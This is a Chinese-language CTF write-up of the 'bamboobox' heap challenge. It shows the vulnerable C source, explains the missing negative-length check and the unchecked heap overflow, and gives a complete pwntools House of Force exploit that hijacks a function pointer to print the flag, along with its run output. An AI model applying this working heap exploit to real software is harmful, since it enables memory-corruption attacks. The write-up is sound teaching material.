题目地址:https://github.com/zh-explorer/hctf2016-fheap。
考察漏洞:House of Force。
源程序下载:http://file.eonew.cn/elf/bamboobox
目录
源码:bamboobox.c
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
struct item
{
int size;
char *name;
};
struct item itemlist[100] = {0};
int num;
void hello_message()
{
puts("There is a box with magic");
puts("what do you want to do in the box");
}
void goodbye_message()
{
puts("See you next time");
puts("Thanks you");
}
struct box
{
void (*hello_message)();
void (*goodbye_message)();
};
void menu()
{
puts("----------------------------");
puts("Bamboobox Menu");
puts("----------------------------");
puts("1.show the items in the box");
puts("2.add a new item");
puts("3.change the item in the box");
puts("4.remove the item in the box");
puts("5.exit");
puts("----------------------------");
printf("Your choice:");
}
void show_item()
{
int i;
if (!num)
{
puts("No item in the box");
}
else
{
for (i = 0; i < 100; i++)
{
if (itemlist[i].name)
{
printf("%d : %s", i, itemlist[i].name);
}
}
puts("");
}
}
int add_item()
{
char sizebuf[8];
int length;
int i;
int size;
if (num < 100)
{
printf("Please enter the length of item name:");
read(0, sizebuf, 8);
length = atoi(sizebuf);
if (length == 0)
{
puts("invaild length");
return 0;
}
for (i = 0; i < 100; i++)
{
if (!itemlist[i].name)
{
itemlist[i].size = length;
itemlist[i].name = (char *)malloc(length);
printf("Please enter the name of item:");
size = read(0, itemlist[i].name, length);
itemlist[i].name[size] = '\x00';
num++;
break;
}
}
}
else
{
puts("the box is full");
}
return 0;
}
void change_item()
{
char indexbuf[8];
char lengthbuf[8];
int length;
int index;
int readsize;
if (!num)
{
puts("No item in the box");
}
else
{
printf("Please enter the index of item:");
read(0, indexbuf, 8);
index = atoi(indexbuf);
if (itemlist[index].name)
{
printf("Please enter the length of item name:");
read(0, lengthbuf, 8);
length = atoi(lengthbuf);
printf("Please enter the new name of the item:");
readsize = read(0, itemlist[index].name, length);
*(itemlist[index].name + readsize) = '\x00';
}
else
{
puts("invaild index");
}
}
}
void remove_item()
{
char indexbuf[8];
int index;
if (!num)
{
puts("No item in the box");
}
else
{
printf("Please enter the index of item:");
read(0, indexbuf, 8);
index = atoi(indexbuf);
if (itemlist[index].name)
{
free(itemlist[index].name);
itemlist[index].name = 0;
itemlist[index].size = 0;
puts("remove successful!!");
num--;
}
else
{
puts("invaild index");
}
}
}
void magic()
{
int fd;
char buffer[100];
fd = open("./flag", O_RDONLY);
read(fd, buffer, sizeof(buffer));
close(fd);
printf("%s", buffer);
exit(0);
}
int main()
{
char choicebuf[8];
int choice;
struct box *bamboo;
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
bamboo = malloc(sizeof(struct box));
bamboo->hello_message = hello_message;
bamboo->goodbye_message = goodbye_message;
bamboo->hello_message();
while (1)
{
menu();
read(0, choicebuf, 8);
choice = atoi(choicebuf);
switch (choice)
{
case 1:
show_item();
break;
case 2:
add_item();
break;
case 3:
change_item();
break;
case 4:
remove_item();
break;
case 5:
bamboo->goodbye_message();
exit(0);
break;
default:
puts("invaild choice!!!");
break;
}
}
return 0;
}
程序简介
安全防护
ex@ubuntu:~/test$ checksec bamboobox
[*] '/home/ex/test/bamboobox'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
主要功能
void menu()
{
puts("----------------------------");
puts("Bamboobox Menu");
puts("----------------------------");
puts("1.show the items in the box");
puts("2.add a new item");
puts("3.change the item in the box");
puts("4.remove the item in the box");
puts("5.exit");
puts("----------------------------");
printf("Your choice:");
}
全局变量
struct item
{
int size;
char *name;
};
struct item itemlist[100] = {0};
int num;
num用来统计已经使用掉了多少个item,itemlist就相当于竹盒,我们需要往里面添加数据(item)。
show_item
void show_item()
{
int i;
if (!num)
{
puts("No item in the box");
}
else
{
for (i = 0; i < 100; i++)
{
if (itemlist[i].name)
{
printf("%d : %s", i, itemlist[i].name);
}
}
puts("");
}
}
把箱子中的储存的东西全部打印出来。
add_item
int add_item()
{
char sizebuf[8];
int length;
int i;
int size;
if (num < 100)
{
printf("Please enter the length of item name:");
read(0, sizebuf, 8);
length = atoi(sizebuf);
if (length == 0)
{
puts("invaild length");
return 0;
}
for (i = 0; i < 100; i++)
{
if (!itemlist[i].name)
{
itemlist[i].size = length;
itemlist[i].name = (char *)malloc(length);
printf("Please enter the name of item:");
size = read(0, itemlist[i].name, length);
itemlist[i].name[size] = '\x00';
num++;
break;
}
}
}
else
{
puts("the box is full");
}
return 0;
}
根据用户输入的大小来申请内存块,并挂载到全局变量itemlist上,对长度有只有是否为零判断,没有负值判断。
change_item
void change_item()
{
char indexbuf[8];
char lengthbuf[8];
int length;
int index;
int readsize;
if (!num)
{
puts("No item in the box");
}
else
{
printf("Please enter the index of item:");
read(0, indexbuf, 8);
index = atoi(indexbuf);
if (itemlist[index].name)
{
printf("Please enter the length of item name:");
read(0, lengthbuf, 8);
length = atoi(lengthbuf);
printf("Please enter the new name of the item:");
readsize = read(0, itemlist[index].name, length);
*(itemlist[index].name + readsize) = '\x00';
}
else
{
puts("invaild index");
}
}
}
根据用户输入的大小来修改全局变量itemlist上指定的item(item也是由用户输入确定),没有检查。
remove_item
void remove_item()
{
char indexbuf[8];
int index;
if (!num)
{
puts("No item in the box");
}
else
{
printf("Please enter the index of item:");
read(0, indexbuf, 8);
index = atoi(indexbuf);
if (itemlist[index].name)
{
free(itemlist[index].name);
itemlist[index].name = 0;
itemlist[index].size = 0;
puts("remove successful!!");
num--;
}
else
{
puts("invaild index");
}
}
}
将item从itemlist上移除。
magic
后门函数,劫持程序流到该函数即可获得flag。
void magic()
{
int fd;
char buffer[100];
fd = open("./flag", O_RDONLY);
read(fd, buffer, sizeof(buffer));
close(fd);
printf("%s", buffer);
exit(0);
}
漏洞在哪里呢 ?
add_item中没有负值检查,因为malloc函数的参数是一个无符号长整型,所以弹栈的时候负值便会变成一个很大的数,这样我们就能申请一个很大的值。
change_item没有长度检测,可以任意heap overflow。
思路
- 劫持top chunk
- 控制bamboo
劫持top chunk
# 修改top chunk
# 注意这里不能太小,否则会申请不到top_chunk
add_item(0x108,'') # 申请的这个chunk的size为 0x110
change_item(0,0x108 + 8 + 1,'a'*0x108 + struct.pack('q',-1)) # top_chunk->size = -1
注意:最先申请的chunk不能太小,否则会申请不到top_chunk。可以通过调试查看到申请的这个chunk的size为 0x110,所以要偏移0x108字节才能到top_chunk的size部分。
控制bamboo
# any_address - (char *)top_chunk - 0x20
# (heap_base + 0x10)为目标地址,偏移 0x10 为了不把chunk头计算在内
# (heap_base + 0x20 + 0x110)为top_chunk 的地址
# (heap_base + 0x10) - (heap_base + 0x20 + 0x110) - 0x20 = -0x140
add_item(-0x140,'')
add_item(0x18,'a'*8 + p64(magic_func_addr))
将bamboo->goodbye_message函数修改为magic函数,则在退出时,程序便会自动打印出flag,上面的数值需要自行计算。
完整脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import struct
sh = process('./bamboobox')
elf = ELF('./bamboobox')
#context.log_level = "debug"
# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
def show_item():
pass
def add_item(size, name):
sh.sendline(str(2))
sh.recvuntil('Please enter the length of item name:')
sh.sendline(str(size))
sh.recvuntil('Please enter the name of item:')
sh.sendline(name)
sh.recvuntil('Your choice:')
def change_item(index, length, name):
sh.sendline(str(3))
sh.recvuntil('Please enter the index of item:')
sh.sendline(str(index))
sh.recvuntil('Please enter the length of item name:')
sh.sendline(str(length))
sh.recvuntil('Please enter the new name of the item:')
sh.sendline(name)
sh.recvuntil('Your choice:')
def remove_item(index):
sh.sendline(str(4))
sh.recvuntil('Please enter the index of item:')
sh.sendline(str(index))
sh.recvuntil('Your choice:')
magic_func_addr = 0x400d49
# 清除流
sh.recvuntil('Your choice:')
# 修改top chunk
# 注意这里不能太小,否则会申请不到top_chunk
add_item(0x108, '') # 申请的这个chunk的size为 0x110
change_item(0, 0x108 + 8 + 1, 'a'*0x108 +
struct.pack('q', -1)) # top_chunk->size = -1
# any_address - (char *)top_chunk - 0x20
# (heap_base + 0x10)为目标地址,偏移 0x10 为了不把chunk头计算在内
# (heap_base + 0x20 + 0x110)为top_chunk 的地址
# (heap_base + 0x10) - (heap_base + 0x20 + 0x110) - 0x20 = -0x140
add_item(-0x140, '')
add_item(0x18, 'a'*8 + p64(magic_func_addr))
# 退出程序,触发magic函数
sh.sendline('5')
sh.interactive()
# 删除pid文件
os.system("rm -f pid")
运行结果:
ex@ubuntu:~/test$ echo flag{123456789} > flag
ex@ubuntu:~/test$ ./exp.py
[+] Starting local process './bamboobox': pid 6066
[*] '/home/ex/test/bamboobox'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Switching to interactive mode
[*] Process './bamboobox' stopped with exit code 0 (pid 6066)
flag{123456789}
\xa6\xa5\x95\xa1\x7f[*] Got EOF while reading in interactive
$
总结
遇到bug多去调试程序,调试多了,能力也会逐渐变强。
所有的失败其实都是在为成功做铺垫。